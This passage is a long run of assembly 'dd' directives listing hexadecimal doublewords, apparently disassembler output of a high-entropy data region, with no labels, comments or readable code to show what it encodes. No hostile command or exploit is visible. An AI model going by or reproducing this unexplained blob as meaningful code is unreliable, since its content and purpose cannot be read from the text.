		dd 8C23AC53h, 0A563BBh,	0B213C6A3h, 2C472A30h, 0EA71847Ch
		dd 0EBC79700h, 4CFB9B5Dh, 0D03000D6h, 21AB9304h, 5EEA1396h
		dd 0C1F0091Fh, 5132CDC4h, 7795C490h, 0CA7E07DAh, 50A54D6Ah
		dd 7C7FF835h, 416BFF48h, 294414h, 0B142B64Ch, 0CA03CC67h
		dd 8DE26CA6h, 10059D84h, 1C102DC8h, 0FC1D0074h,	74FA852Ah
		dd 0A8E234h, 0BEDCCAD0h, 5E467D7Fh, 93226A1Dh, 8EDEED43h
		dd 7732C031h, 3405009Bh, 6FF94FDFh, 0CE01E075h,	54C97FE3h
		dd 0FF20950Dh, 6B9E0CB3h, 985646AFh, 0B0CFE42Eh, 0EA40100h
		dd 13DD3138h, 0EEF28956h, 5888C700h, 0E7CC415h,	0C9B96B3Ah
		dd 49D1D580h, 0A37D93B6h, 7543D800h, 600CAA29h,	620B007Bh
		dd 2BAE940Fh, 427061ECh, 9E3E0E00h, 0A1A28381h,	987607F4h
		dd 90999D3Bh, 0F793E9A3h, 9E1AD4F3h, 0E98B9B26h, 4B67AA00h
		dd 838DFh, 15CCB4F1h, 1E3D39D0h, 0EA72501h, 0E7408404h
		dd 0D0EDA053h, 3AFDC6h,	0EA6DF72Ch, 6463CBB1h, 0D2FC3707h
		dd 6280DEE7h, 6F1C9Fh, 0E9EC7D49h, 8D089113h, 50B96300h
		dd 3667A647h, 5AE23EBBh, 30934900h, 0C9D61C7Bh,	8063203Fh
		dd 0BF951AA1h, 0EEA3EE32h, 0DA06010Ch, 559385A8h, 0D108138h
		dd 0D792D203h, 0E7EDC8FBh, 757000F3h, 9D290BBEh, 0F23DDEDFh
		dd 8FFE3A0Dh, 605A15EBh, 0AD6CAA3Dh, 71210085h,	44569565h
		dd 0E3391AD3h, 18A180C6h, 0E919C70Ch, 3A8E0006h, 259A0188h
		dd 0E4006675h, 0FBE2BD3Eh, 4A464Bh, 0F8E9B5C2h,	0B4305D9Dh
		dd 0BB003878h, 260537B8h, 16F6D36Bh, 0C0A70C1Fh, 0B3D7393Ch
		dd 7EB79D03h, 0C458E2h,	2AB628F0h, 49560412h, 0D46C3B00h
		dd 6B46AE18h, 0D42349E2h, 2C09CC00h, 0C136ADDDh, 918C68C0h
		dd 1FAF6A90h, 0C1E5076Fh, 0B869860Ah, 846D308Bh, 0EE778A05h
		dd 0FA00702Fh, 68239C29h, 0C48500EFh, 0BACAFAF2h, 0D77E6FBBh
		dd 0C0800B06h, 0C86130h, 0E9E795E1h, 0B59235ABh, 0BBBCF707h
		dd 63C07FF9h, 2C5DC93h,	0E0D70E57h, 0E278AB5Bh,	158C1801h
		dd 0AECE785Eh, 2871C8h,	0F77B2432h, 2F60A436h, 4DFEA200h
		dd 664C92ACh, 1E2E0C1h,	0BF400462h, 0D85123F3h,	0C53AF6DEh
		dd 54C74E45h, 463B60FEh, 0CB4A97h, 0F1A35BC0h, 2FD24929h
		dd 9E260F00h, 1D818FF2h, 0AE771D70h, 0A380BF21h, 8A16DFFAh
		dd 2E006A71h, 0C2E8EC11h, 0CE9D5Eh, 0BC1EE045h,	0E35D52C9h
		dd 31D8C726h, 4611D01h,	2034BFFFh, 72420023h, 9F2AE5BEh
		dd 9400CC0Ah, 0FB0857A4h, 344682h, 7B95BBF3h, 0D173738h
		dd 67FAC700h, 0A05DBDECh, 71F30057h, 0E2A7F24h,	0F700A522h
		dd 99F4A288h, 0B33152h,	3B5323C9h, 89C4B81Ah, 0A6A41750h
		dd 0E377900Bh, 0BB6000EAh, 0F47EFCE5h, 1611C011h, 823D48D3h
		dd 0A7EAB212h, 40E01808h, 9BF809CAh, 3D5F031Eh,	2945D880h
		dd 7ABF12Ch, 2B39E8A3h,	89E14FE4h, 0C167F57Ah, 7104D4D8h
		dd 0BBAA5800h, 0F0571D7Dh, 0D56800C0h, 9F979074h, 1789931h
		dd 8E6A7B00h, 0B43B396Ch, 0C7F1008Ah, 9D989649h, 0D60C2315h
		dd 7E6AAE8Dh, 0CD0D0083h, 423859CCh, 16009A51h,	1E31CB36h
		dd 0A552DFh, 0D457818Bh, 322C8D22h, 5F0163B0h, 0AC1C093Eh
		dd 0AFE6155Eh, 0A67E075Ch, 4C5660DEh, 1C03E550h, 0C0B3B5A2h
		dd 3F905DDAh, 0FB17CAF2h, 0C51C5BBCh, 0E0008C6Ah, 596F8319h
		dd 0DEE127B5h, 589C4010h, 51EA9996h, 0FCEA4D76h, 2A5F8A00h
		dd 3693460Ch, 2430069h,	8532356Ch, 56032119h, 2740F2DFh
		dd 7BE3A876h, 50CE760Dh, 73D4F1h, 86F936BAh, 3069EE1Fh
		dd 0E190FB73h, 2F1BBC00h, 0A6065B98h, 1A201F3h,	0CD4E5996h
		dd 31A660B9h, 1E3EC600h, 46F1D9C9h, 0F9B60739h,	6068129Bh
		dd 119EB5A3h, 0C702A096h, 41647F2Dh, 0C345914h,	7EFB3A8Eh
		dd 0BE012580h, 3D9EE690h
		dd 0C6FC4907h, 3130DC75h, 0A54661h, 37ACD387h, 0C4F09D25h
		dd 6403997Bh, 9E53081Fh, 0F5510103h, 36A5FAC0h,	4398782h
		dd 0D07221A3h, 0D4D07Bh, 407AFB55h, 4EE6D783h, 37F18100h
		dd 0CD6CDAEEh, 858603FAh, 63095D22h, 157778D8h,	1DE3D04h
		dd 60D01454h, 7CBD17h, 5EFE8DDDh, 34A07D76h, 0C2C5000h
		dd 675B7394h, 0B31A30D0h, 0ECA1BB50h, 2A01C27Ch, 68CDB582h
		dd 64F0C08Fh, 2798B4h, 0FB691163h, 0F46A7034h, 0A6392000h
		dd 0C74DCDBBh, 0CED5C29h, 379516h, 0F72F5A2h, 150085E8h
		dd 0C3C8A13Fh, 947F42h,	4C8A7ACBh, 0A4CEB457h, 5CAC8724h
		dd 5A314100h, 0D1D830h,	817D254Fh, 2718B33Bh, 3507BAE8h
		dd 8BE84380h, 505C48B0h, 1E4D16F0h, 3480771h, 68C02F94h
		dd 560D3360h, 6B7EB200h, 0C414FFBBh, 7D51006Fh,	0D4D60E3Ch
		dd 9C738F1Fh, 5B45601h,	0D36A4A21h, 0D2F4C0FEh,	9297001Dh
		dd 1FA5D475h, 0E6012FBBh, 369EC795h, 0E9E7FF45h, 4D6064AEh
		dd 0D647587Ah, 69172501h, 31743FD7h, 0DE6184D4h, 7CD14AC5h
		dd 0ADE04264h, 819A0057h, 72020EB9h, 8287406h, 0A4E0F125h
		dd 0D4760C7Ah, 910D8C00h, 0E7707A5h, 178628E7h,	24A73C10h
		dd 668E0375h, 38B6450Ah, 7C6D35D8h, 82F84D1Dh, 2FC91738h
		dd 0D7C6D420h, 0A91C0157h, 0BA16C044h, 0CDBB404Ch, 0E2F033F8h
		dd 4617BDF8h, 0D400558Ah, 5ACAB67Ch, 769E16B1h,	401C5771h
		dd 7CA6D27Ch, 4658D136h, 0D50B1BFFh, 0CB580049h, 667602B0h
		dd 7709A1D1h, 4890EB37h, 0A297A090h, 0F0480028h, 0ABF4CB9h
		dd 8D9FE716h, 22868038h, 67B16AB7h, 0D9004275h,	2D62DF09h
		dd 3D6A8EFh, 348D1F50h,	0EDA83825h, 150E5CB0h, 20A9B1DAh
		dd 0F6A1CC77h, 86EED3h,	34DFAC7Bh, 5905B323h, 67D19E00h
		dd 52F14943h, 0FBB20076h, 752A6C72h, 0EC1C806Eh, 5500A71Eh
		dd 83AB7CBh, 5F66588Ch,	0C6005E4Ch, 64E354FBh, 0BA009DB5h
		dd 8F1CDF5h, 5D9D73Ch, 0EDF2D046h, 4FE78174h, 0E6B8D766h
		dd 42008A7Bh, 0D7DDA33Ah, 39B409F7h, 0E59E3618h, 0D8120475h
		dd 0A7189064h, 0D00714Eh, 0E2E619ECh, 5E5F666h,	1DB1961Eh
		dd 89A8402Ch, 9C8317CEh, 4A80BB06h, 4130AEh, 2EE723C8h
		dd 0E2843A94h, 1877B230h, 64C4EE1Bh, 0F0C2BAFEh, 0E900843Ch
		dd 4C6814E0h, 3DB6F016h, 8B80C8EFh, 4A3F0AC0h, 59C04D83h
		dd 0A3DD8EB3h, 80E40740h, 16843241h, 2159126h, 12E063CFh
		dd 0E4B0E136h, 777D0142h, 7BD4A0Fh, 0C158C826h,	0A03D8400h
		dd 3C10E560h, 85980301h, 0A4AA11EBh, 0FC9DE2C1h, 79C0F8D7h
		dd 0A1A50686h, 26DB7538h, 7DAFE3Dh, 535AE8B3h, 0C6F8ECB2h
		dd 62004DD9h, 0F8B471BEh, 5ACD0203h, 0E412C2h, 45929345h
		dd 3500C74Ah, 0BBAF29DDh, 12E42623h, 511758h, 0AD57E2Dh
		dd 1D3AB65Dh, 212E310Bh, 830D9F6h, 449700CBh, 23FCDB63h
		dd 0A107F04Dh, 0EA48A281h, 729BC03h, 3BECD931h,	30FB0070h
		dd 0E9004CB3h, 179FB67Ah, 4085F8h, 0E33739DCh, 333A485Ch
		dd 0C56A2600h, 58E07EE6h, 42500F7h, 87506CECh, 2A19439Fh
		dd 0D908E95Fh, 528021BDh, 0E10E7B6Ch, 3918F9E8h, 0F6882C9Ch
		dd 0EEB83C81h, 0F7910130h, 0DF3029A2h, 0D15E2055h, 0E7AD1895h
		dd 0F7F39001h, 34F58B10h, 1ECC7500h, 0E135A091h, 77737114h
		dd 2A187698h, 0D41892EAh, 17F30F9Eh, 2C407996h,	0F1C69B1Bh
		dd 5092F000h, 987CACA1h, 82D50234h, 6C4F256h, 1F840BE0h
		dd 5F0CD900h, 7BC940EEh, 13CF00DFh, 41BE5C7Fh, 9D00D4DEh
		dd 45DC21CBh, 0BF7DFDh,	0B870C201h, 0ED582973h,	7B72A900h
		dd 810C4FA8h, 5EEC78h, 7AA471BAh, 0E108FC8Eh, 0B4393600h
		dd 9E2C44F1h, 587C0042h, 0A06ECE8Bh, 0FC071856h, 0C9FBD67Fh
		dd 62B6E180h, 0F5D21E6Bh, 97E5005Ch, 0F9D44E19h, 9C0BA8E8h
		dd 80C32E29h, 0AC2B6D82h, 6E800073h, 458F085Bh,	7A0E75DAh
		dd 605A2ABFh, 0ADBC9B35h, 0DD7300D5h, 34194DF1h, 0C53B519Dh
		dd 16B80CFh, 0B7C75D5Fh, 0A2BD00F3h, 4F1EF23Bh,	78009C04h
		dd 0C031CAC5h, 58888135h, 550049C7h, 0FC1209E2h, 6F6717F9h
		dd 0E6B10838h, 0ADE0010Fh, 378100D0h, 0DEC59CD7h, 290103EAh
		dd 0A38F481Dh, 61D95FC9h, 40D1F0h, 4BC83C34h, 4FA07CF2h
		dd 74AB3Dh, 0D84531DDh,	0C030C1h, 0A8BEA570h, 0F686E0B8h
		dd 10AB9F17h, 0A19A0B0Fh, 0D591926Dh, 31F874C5h, 0CDEA07DFh
		dd 0E6095B43h, 55001030h, 6C958DEBh, 1635A4h, 0CF21C95Ah
		dd 192EE91h, 23000FFAh,	89AFC2F6h, 0B70DBDh, 0EEF3EB07h
		dd 9F110533h, 7DA8CA00h, 55C954D1h, 0C8510320h,	0EDD4E55Dh
		dd 3C00D276h, 83F5318Fh, 9B70Eh, 0C3D3269Bh, 0B5271DFh
		dd 3120CE00h, 7330F9E5h, 57EA00E2h, 44F79994h, 0C800DF24h
		dd 0CC516336h, 1E7D66Dh, 4983B94Ah, 702F72C2h, 0B80784C4h
		dd 3B2D47E5h, 0A2D1C620h, 0C44D032Ah, 0BDADE164h, 0ED3137D0h
		dd 0A9000B78h, 0B44FEEFCh, 0F2180F91h, 700A02E3h, 0DB174941h
		dd 2BE3E0F7h, 0DD9900DAh, 8BE34C2h, 29006361h, 9F76B306h
		dd 1D72ABD3h, 40D024A6h, 0CCC9FA46h, 17000E91h,	6ABDE828h
		dd 37224996h, 0B0507935h, 0ABD2BFDAh, 9D004270h, 7FF795B9h
		dd 1CEB26A6h, 80CE65FFh, 61112273h, 6C007536h, 0E9F0C174h
		dd 1C2803h, 0D7BB6E84h,	0CAD091CDh, 8FB1DD00h, 28E44973h
		dd 0BF45004Dh, 0C89D1A56h, 0E0036ED4h, 182A3D3Ah, 70A1E82Bh
		dd 0D88500D5h, 0DBE9435Fh, 74EA353Ch, 0C0C6861Eh, 0C24A2040h
		dd 8CD279h, 0E7334187h,	9F3409E5h, 14487A01h, 59E2029Eh
		dd 80B08840h, 36700ADh,	81F06216h, 0C2004F38h, 3DD543B3h
		dd 0E00CA02Dh, 21B007Dh, 2AEAF891h, 3000827Fh, 628C04FBh
		dd 0FC07F4h, 49C3A0FFh,	2157837Dh, 430089F6h, 0D5CA9E73h
		dd 0F3D0BE0h, 555FD00Fh, 0C0B4E4E4h, 0C15B38B8h, 89850900h
		dd 0A131D991h, 8EB912D5h, 0B5BC0F1Fh, 16D106BDh, 8D0B1020h
		dd 80566EDDh, 3F1C6317h, 2790006Ch, 93838521h, 8C1FC003h
		dd 6100A4F2h, 0D3A51082h, 5E3201F7h, 1C3B5A25h,	0FEE4CC75h
		dd 98606A90h, 5470169h,	0E4B1422h, 6728A429h, 694900F8h
		dd 0EEA848D4h, 0E80068FBh, 2D2941D3h, 0CC765Fh,	2FFE529Bh
		dd 618632B8h, 3A0A3CF2h, 0B058B1D9h, 6CB70401h,	2C2095B5h
		dd 38900082h, 5A0285D6h, 0FE0FCAF1h, 0AE068170h, 6053EF31h
		dd 240E54F6h, 0BDF875h,	0A2E784ABh, 0AD55BFECh,	94B58201h
		dd 4BE4D75Ah, 0FE905C30h, 7E1D15D0h, 2E00C071h,	0C274FEB6h
		dd 0B40C6AB1h, 80CADC3Dh, 42F006Dh, 64CF3793h, 0D500AFF1h
		dd 8D312B56h, 0B835AFEh, 0F66F575h, 0BF65EE80h,	9E000C8Bh
		dd 0D87A37A6h, 2655B769h, 3C4744h, 3562A883h, 0DD0F79BEh
		dd 60B15EB9h, 2253C94Ch, 0BA4200F7h, 3020A32Dh,	200DC25h
		dd 6AA28E81h, 78436B27h, 0A7FB00B7h, 8CE5EE1Ah,	170F5E5Bh
		dd 6EB0847Bh, 42BB001Dh, 0B9D9ED7h, 0EB20A90Ch,	0F17D2B83h
		dd 2C1A6DF8h, 0C094B00Fh, 11DCE480h, 3ED5DC80h,	0CEF11499h
		dd 85078849h, 46F914h, 0BCEAC1C8h, 73058C00h, 0FB7A894h
		dd 0EF9F070Eh, 505630F7h, 991F7AD6h, 0A003E98h,	96A93D78h
		dd 0CFD7FCh, 0B88F5D6Dh, 0AB0F9E5Eh, 9369F100h,	8EEC0DEAh
		dd 7E360022h, 0EB3BA625h, 0A8C0E661h, 0DB18D71Fh, 0ADB70062h
		dd 0FBCEDF02h, 883DA751h, 0F8120041h, 80897DFCh, 0D77D97h
		dd 0B0B546FEh, 3119484Dh
		dd 0A95F7F00h, 0D8755D6Fh, 234F00AFh, 0D387DA4h, 0A761482Ah
		dd 2E6A05F0h, 89E52100h, 6035D100h, 0EB30ABDFh,	995B39CBh
		dd 0E48E0300h, 0DB4F0574h, 153FAC00h, 2CF5BB0Bh, 5ADCA0F3h
		dd 1340989h, 48204232h,	0ADC0B820h, 0EBE10406h,	3291F87h
		dd 0D1AE6936h, 780E2DBEh, 0D7908B91h, 39008BE8h, 0CBB1CF7Dh
		dd 631CC6A5h, 720053ABh, 0F04A0DFFh, 11EB0045h,	0E5DDAF96h
		dd 0A224F5C8h, 0EA07294Eh, 1089CB4Bh, 47B314h, 674AE1C7h
		dd 0AD980FBEh, 0EFE28E00h, 91E3A20Dh, 0D8EB077Ah, 0EDE5B9Fh
		dd 44850FD0h, 23F260E2h, 5849E618h, 2B3FF458h, 9BBD0889h
		dd 4D779F80h, 381C8D36h, 867AE7BFh, 236E8873h, 48C200AEh
		dd 985EF0B2h, 6D48F326h, 83409C1Ch, 0EEBDE190h,	96D30043h
		dd 0E0682514h, 330ECCC6h, 42F2DD81h, 6899350Bh,	1D75E9E4h
		dd 1A59D0h, 1C6026A1h, 0CA0F4EB7h, 23F77A72h, 0B0AFED57h
		dd 78FEA071h, 0AAE403A4h, 9FC6A7Ch, 0BECF2FCFh,	7970EF80h
		dd 1300C98Ch, 186E309Eh, 0F2433Bh, 9B902687h, 3109A681h
		dd 0B71A0300h, 2B88EB38h, 51523FD0h, 0E205DF80h, 8B86BE8Fh
		dd 5041C960h, 2CC297h, 1FA5F35h, 428809BAh, 0FEA1B400h
		dd 0F153FFCBh, 0DD3B0481h, 90DA0D66h, 200C8F38h, 5F046EE6h
		dd 1C4AA808h, 18CD1080h, 7319087h, 0D3A076A2h, 39306085h
		dd 0C502A377h, 46238F6Ah, 0C1EA80EBh, 2821FA6Eh, 28ECEC4Dh
		dd 1068D3h, 69C6A0BCh, 72342129h, 0FDABB513h, 0DDC87400h
		dd 33E8B6C9h, 3D107C9Eh, 5ACC07C0h, 0CD5BFF3Eh,	37E0088h
		dd 0E5AFD345h, 19F8FF1Ch, 4F68011Ah, 5905C4B7h,	0EDD86079h
		dd 0A28ABC0Fh, 5AB0E01Fh, 0FACD5B6h, 0E87AD722h, 9A9D2543h
		dd 0B81790D0h, 0B469EA7Ch, 9FBC2618h, 0D16D0558h, 40291CA3h
		dd 0B66EB090h, 0BA0E2896h, 98D8A2EFh, 61C48A48h, 7CC3A175h
		dd 0D32440EAh, 210A1B47h, 0DD3DAB2Ch, 54AF6707h, 0E0678E3Bh
		dd 0D9327417h, 7B4402D2h, 8C516F1Dh, 0BFE562E0h, 7C9D2B00h
		dd 0B50C1832h, 8766077Bh, 10119A5Dh, 0A42BBA1Eh, 0A5FFC214h
		dd 0F94E0738h, 0E7701C3Ah, 66C92919h, 214508F7h, 3AF1DC00h
		dd 99C663A9h, 0E218E4EBh, 0C0B3E669h, 2F292E6Ch, 0FE2E3520h
		dd 0E307942Dh, 0F9EFB2h, 401AC8FFh, 0A4C974BBh,	3E70C8h
		dd 0C69B7B05h, 1CF89F60h, 0CA06111Dh, 0F730C7C0h, 31B6817h
		dd 99EC295Ah, 70603F90h, 15432E91h, 842B006Dh, 0B5DA468Dh
		dd 790A7C77h, 0A878FAAAh, 5AF5E900h, 3FD09CFBh,	68B3B7BAh
		dd 2100EB08h, 0C157D2BCh, 1BECBEB2h, 48B52A64h,	46255AF0h
		dd 0E2BBB1Dh, 0C354784Eh, 88FD93B7h, 918D3Dh, 7CA420F0h
		dd 41D6642Bh, 3CA238C0h, 3C9606FFh, 70750Bh, 0BA9C7EB4h
		dd 3378551Eh, 0F6EA261Dh, 0FB00B79Ch, 0BC16CC83h, 0A3F507FDh
		dd 0D01F20D3h, 45262A48h, 25005998h, 3CBDF054h,	0E01787h
		dd 0D802767Ah, 5271AE91h, 5B70A300h, 3958EFBBh,	0BF03000Fh
		dd 8F72BE5Fh, 2901B14Fh, 62A3EA3Ah, 92DC12AAh, 971A0128h
		dd 653E310Ch, 80CFD0EFh, 0C7CD6400h, 765BE37Fh,	0B8D80E66h
		dd 0ACC0A4D0h, 7332F268h, 0D1C3Eh, 0F15538DCh, 0FB79A54h
		dd 4FEED6B5h, 18644706h, 0D4607407h, 6D176F66h,	736A20E1h
		dd 0CD228E08h, 184E546Ch, 2A3B426Eh, 73F00C42h,	67C62084h
		dd 0BAA6B808h, 69A40172h, 0F0F04EAFh, 0C060B03Bh, 7C825508h
		dd 0A4030638h, 211C1E4Dh, 4CC5EE00h, 2051DAAFh,	0BA99C173h
		dd 80CCC79Dh, 641A82D8h, 44D3966h, 0F7808783h, 813BC77Eh
		dd 882AD431h, 0FF13770h, 0B9C5921Eh, 2D080F6Ch,	4064B804h
		dd 66C878E6h, 80700138h, 0AF7E6D14h, 0A6E18227h, 28E5C06h
		dd 0ACA0C609h, 7D53199Dh, 0CE88CD0Dh, 9FF2D14Fh, 15D37004h
		dd 0CEF9A3Eh, 18059692h, 303402FDh, 1FCC6D73h, 547EFF40h
		dd 0C73EE81Dh, 0EE1A93C0h, 32FC15A1h, 23295605h, 79B2A021h
		dd 1E0E8BD4h, 40D4D9EDh, 44F9328Fh, 7F05E4F7h, 1EC3BEC4h
		dd 28D0CAC0h, 1B9802E7h, 4390A27Ah, 0D1C472E0h,	94B63Bh
		dd 3D42B45Dh, 0EA0AE6h,	38D59AFh, 2ABA7B18h, 155CDD00h
		dd 60B08B32h, 0FF3037Fh, 7B1A42D3h, 0EB669680h,	0A16E300h
		dd 0BA911272h, 0E153009Fh, 792A2C5Ch, 8200FD41h, 86DCE70Fh
		dd 7E363AA3h, 76DF000Eh, 0FB9C890Ch, 0A103BBBCh, 1E2FB8B7h
		dd 0D5E4E82Ah, 0DEB13F5Fh, 8030279Dh, 677901D6h, 842C10BAh
		dd 5E0E1DF2h, 0E9F08081h, 7DD4A75Bh, 28DB00E2h,	0C1B2CFABh
		dd 401D4D06h, 33008131h, 0C2777C64h, 0F8660F0Ch, 0C980CFCCh
		dd 0AD9625B9h, 0A00CBF4h, 26A94D6Dh, 830C36h, 1CB212A0h
		dd 31288109h, 677EE018h, 0FC821E28h, 0AE17004Eh, 2A34F97Dh
		dd 0F7003355h, 0F2245444h, 2C967Bh, 2ED9FA86h, 0AE345EF4h
		dd 3FE3D100h, 6735A60Fh, 0E680050h, 629F8A9Eh, 0DD3FE0A8h
		dd 1F878084h, 8DB358FEh, 0E59E387Fh, 0ADC4FA00h, 0A0EBC3CDh
		dd 303449h, 6C0F851Dh, 3C875ECEh, 2A0B49A9h, 708003C4h
		dd 32A0A5E5h, 96787D04h, 489041CAh, 4139D35h, 917FE79Ah
		dd 6E2BC014h, 0FC00A0BBh, 20822A83h, 3128D60Dh,	7EB0E01Fh
		dd 7FA0FB85h, 14001335h, 0BB5E34D8h, 0C04E5Ch, 0E80E6B3Eh
		dd 0B63AB8Ch, 1C3C2400h, 68AA73E1h, 0EEF900DFh,	354BBD6Eh
		dd 8900CD49h, 0A01416F2h, 0FA94CFA2h, 5CE47B27h, 0B53EB2DDh
		dd 562CBB80h, 902FC4ABh, 35B8739h, 9BA858C2h, 7CDFC009h
		dd 750600C8h, 55BFEF2Ch, 6B00D842h, 97D976Fh, 6DBEF2h
		dd 3AD2C17Ah, 0C048DF7Ch, 0E1BB9809h, 567480A2h, 900225A0h
		dd 5AEA033Ch, 148D901Fh, 3DE511B8h, 0F9280A01h,	2AF00620h
		dd 0B82C63DCh, 3ACD9831h, 0D304ECFEh, 83E5D7A4h, 898118Dh
		dd 7A000356h, 20A7FA44h, 1FA46C6Eh, 80D0FE7Dh, 0A10FCCDAh
		dd 405A262h, 61DEF930h,	6719C440h, 34033ABh, 4A665EFDh
		dd 3D801BADh, 3C00A84Fh, 0FE90116Ah, 0F24485h, 2168C8D0h
		dd 0D9CE320h, 346A8B00h, 5A56A6EFh, 0A4F49A33h,	0B5F0E78h
		dd 10E3DB8Ch, 6CC8B176h, 0CB09F25Ch, 8319FE29h,	0CC3731h
		dd 0A8B99178h, 49CABE7Eh, 78A05000h, 0E1719AD1h, 0DA6806CDh
		dd 963A34F8h, 0DF7EA400h, 719E8AB0h, 81D401D6h,	72465C79h
		dd 94E430CBh, 6F3C9157h, 0BB5843DAh, 68ABD80Ah,	63AF028h
		dd 6D265AE4h, 0E07370C2h, 0FC67621Ch, 0F52BB440h, 3942A528h
		dd 0B3005652h, 4471069Ch, 313E7D72h, 7B0782D5h,	40DFF623h
		dd 24933958h, 3842D410h, 1300B449h, 7792C641h, 0FA0F63AAh
		dd 82436631h, 4456BC88h, 357B14D4h, 8C005C95h, 4F0B5022h
		dd 99121A0Fh, 550F1507h, 56A1A0F2h, 91A916F5h, 0C45991CCh
		dd 60D0F6A8h, 0C6E83A1h, 0F5314E7Eh, 7F097D90h,	12265E10h
		dd 0B4DE8298h, 36A0A288h, 27071C95h, 13195F61h,	90DC6520h
		dd 0ED9F1273h, 70F8609Eh, 0DAE41C9Ch, 0DE086803h, 0CCB5AEh
		dd 0ABD03759h, 0CBE8BBF7h, 3632103h, 0F61B95h, 0FDCD3C98h
		dd 0D4BE256Eh, 78E47902h, 6050B2D2h, 0EE0970E8h, 2C6200A6h
		dd 0AC4A190Ah, 77308E7Dh, 11FD5861h, 74D34DA4h,	5DE8DA00h
		dd 95747258h, 6109B100h, 7E05BAC1h, 9D7101D1h, 9BA9AFE5h
		dd 1DFC40A4h, 0BC00391Fh, 0CDC11365h, 1F7D31CAh, 0C21E93BDh
		dd 5A164E03h, 0FF1F00C0h, 0D3BC500h, 0EC76CA50h, 6C4A4C88h
		dd 0A2982892h, 66807342h, 8C1437A3h, 9EB70913h,	3A101900h
		dd 9780F41h, 0CC732CEAh
		dd 0DE334021h, 4098C4D1h, 0AD20502h, 608EC5A2h,	0B0E9BE7Ch
		dd 9BF90B69h, 0FC20750Fh, 7DEC9522h, 10A3D4A0h,	0BD2CD109h
		dd 0A6D4B0D3h, 23E46ECh, 6DB2237Eh, 0C0C460FFh,	28BE13D7h
		dd 40D41F53h, 7D054A73h, 0B0007706h, 65469ABCh,	50F48559h
		dd 2EB479h, 53F1A707h, 0E5377829h, 5B900D00h, 0ED1FBFF2h
		dd 2BB90060h, 1DCBA879h, 2004B49h, 111A6150h, 0F5854Fh
		dd 3452166Ch, 0ED5DEFBDh, 0BC9884F4h, 3D051700h, 0F5537669h
		dd 103B00C7h, 319EA480h, 172484D9h, 45098CCAh, 4F908E01h
		dd 490EE003h, 1DD7B852h, 2EB9A9AAh, 7E58000Ch, 2B2E5F84h
		dd 617239E4h, 0B93DD8F7h, 18E5F000h, 0D4CCA62h,	29452695h
		dd 802800B2h, 0BB4F7007h, 48E9E05h, 2C80A8AAh, 3A1D64h
		dd 5A62947h, 0BB80169Fh, 17F8494Ch, 0BC00911Fh,	0BCBA783Bh
		dd 0CF5B006Fh, 0D538DFA0h, 0D10F010Bh, 2409167Dh, 68C0E01Dh
		dd 12C5B6ACh, 0F1EB6CCCh, 24B7C177h, 3E005C68h,	263B2A31h
		dd 98A524E6h, 9CD22440h, 51520041h, 0FF5855C6h,	0AA486A00h
		dd 0D575422h, 0AD82007Dh, 0EC925F28h, 240018E6h, 6989E72Fh
		dd 4B7CAF1h, 5FF8710Dh,	0DA3690F2h, 7C004E08h, 7DA23E18h
		dd 3455386h, 0BFBD0D9h,	9590932Ah, 0C700FABCh, 0BD67F688h
		dd 6599A4h, 730C376Bh, 0CF78E5F2h, 6FC09312h, 5F858045h
		dd 0B844D8h, 50157AA6h,	0F82D7BE5h, 4100A09Ah, 0A4C83174h
		dd 1D7259h, 0C10D3527h,	0B6870A9Dh, 9BB7E900h, 0A3343B1Ch
		dd 93BF0055h, 54C03E86h, 0E6500351h, 0DEF602F4h, 0C81EACA1h
		dd 78963443h, 0C2852180h, 269CAB37h, 3CB887h, 0B70B1178h
		dd 0AE00F19Ah, 0FF9791D8h, 3010C25Ch, 0CE98E14Fh, 0ED7C3154h
		dd 666E561Dh, 0A032AE09h, 0A1A62498h, 5A1B00A8h, 2A8A9BF2h
		dd 83008289h, 35AFDA75h, 5C173D8Dh, 990C4C44h, 0B178B7A4h
		dd 4E261A00h, 243658C6h, 6C8E00E4h, 2C970898h, 0BB245185h
		dd 2426F812h, 0E9BC7703h, 0DF4E13B9h, 833B053Bh, 0B0B0496Ch
		dd 8EE02C80h, 0EF004991h, 2CCDFF17h, 9F343Dh, 0D2CFD771h
		dd 0F77E4DA5h, 99675500h, 0FD5DF5B4h, 850B00F2h, 0B2619ADBh
		dd 1600A25Eh, 398DF044h, 8305B0h, 28F89C46h, 0B329012Fh
		dd 6884A318h, 2C94BA78h, 27CC2FDh, 16621303h, 60B71A60h
		dd 0F5335609h, 2CA4812Dh, 90411C24h, 62F4593Dh,	529E1DB9h
		dd 5CB02825h, 0EA9C080Eh, 9C48E534h, 0C66D078Ch, 60041EC4h
		dd 0F37ECC38h, 47EF4E0Bh, 4AF820B2h, 551028Fh, 3C1CB5CEh
		dd 5BC09034h, 0E60A6921h, 0B06D3227h, 0C9965142h, 5473BB4Ch
		dd 37D17981h, 994C2411h, 51CB4A00h, 0E6B17A92h,	58985188h
		dd 915E1464h, 85C16570h, 244C8880h, 0B979B405h,	0C0C82C92h
		dd 0A358033Bh, 0C86BC777h, 37642ED1h, 0B00093D4h, 181F2660h
		dd 9C8C0034h, 3F2996E8h, 0F304B2FDh, 8DEAE42Bh,	9944E4D3h
		dd 8450ECADh, 2CF7F611h, 93B81C31h, 1A5E07CCh, 4C2FD1D6h
		dd 2EEBD0BEh, 0D83F7802h, 802407CDh, 49960D2Ch,	417AACh
		dd 6AB116E2h, 4A4F615Ah, 21262D00h, 651D833h, 127003B5h
		dd 6686F3F0h, 0D4C47B90h, 972B5600h, 423DFB0h, 0DBE00072h
		dd 0FBA0C7D0h, 140039E1h, 3679DD88h, 93D2186h, 0A1B1B3BDh
		dd 7A170C60h, 0F94E20Eh, 0DF12906h, 0D99D1C24h,	9A29F134h
		dd 4FD84079h, 7D00881Ch, 9581C74Eh, 2E33EDDEh, 7CE03CCh
		dd 113FF29Ch, 702E61F1h, 93FA4152h, 0B23E3Ch, 69F285BBh
		dd 0EF8920h, 0CAE58187h, 558C09FAh, 3DC99F00h, 9D24AA31h
		dd 0EBE30023h, 65E166E7h, 0EA1D6EC7h, 3200616Ch, 18E29D27h
		dd 0DBCC0186h, 0D9A0D7D2h, 6C443036h, 94635126h, 0A5D47B00h
		dd 854737h, 0E19F131Ah,	62E873A0h, 0A9E26904h, 78C0044Dh
		dd 40382Ah, 0C0E7F11Eh,	3A2F5627h, 0F26CE000h, 0E487BFC6h
		dd 48DE740Ah, 18009C6Dh, 6466F1EFh, 3279D898h, 81CCF401h
		dd 42F3B9B1h, 0E43EA1FCh, 84394DB2h, 23151A00h,	8E0CE6EAh
		dd 64D56500h, 0C97EA41Eh, 4C9B00CCh, 314A0B89h,	0D1008122h
